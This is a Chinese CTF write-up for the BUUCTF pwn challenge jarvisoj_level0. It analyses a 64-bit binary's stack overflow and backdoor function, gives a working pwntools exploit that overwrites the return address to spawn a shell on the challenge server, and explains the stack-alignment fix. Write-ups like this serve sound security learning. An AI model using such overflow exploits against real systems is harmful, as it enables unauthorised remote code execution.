BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
小杨不想秃头7 小时前
信息安全工程师考试
学习·网络安全
Seraphina367 小时前
记一次实验:利用路径分隔符进行网页缓存欺骗
经验分享·笔记·安全·网络安全·缓存
菩提小狗10 小时前
每日安全情报报告 · 2026-08-25
网络安全·漏洞·cve·安全情报·每日安全
P1Browser11 小时前
指纹浏览器安全吗?从浏览器环境隔离、数据存储到安全风险解析
网络·tcp/ip·安全·网络安全·github·php
数据知道12 小时前
PHP 代码审计实战——ThinkPHP、Laravel 历史漏洞模式深度剖析
android·网络·web安全·网络安全·php·laravel
数据知道15 小时前
Java 安全审计实战:SSRF、反序列化、SpEL 注入
java·开发语言·安全·网络安全
安全小王子16 小时前
nssctf_chicken_soup
网络安全·逆向·ctf·nssctf
安全小王子17 小时前
nssctf——老鼠走迷宫
网络安全·逆向·ctf·nssctf
菩提小狗17 小时前
每日安全情报报告 · 2026-08-27
网络安全·漏洞·cve·安全情报·每日安全
Trinitytec18 小时前
源码不出网,开源治理工具SCA应该如何部署?
网络安全·开源·源代码管理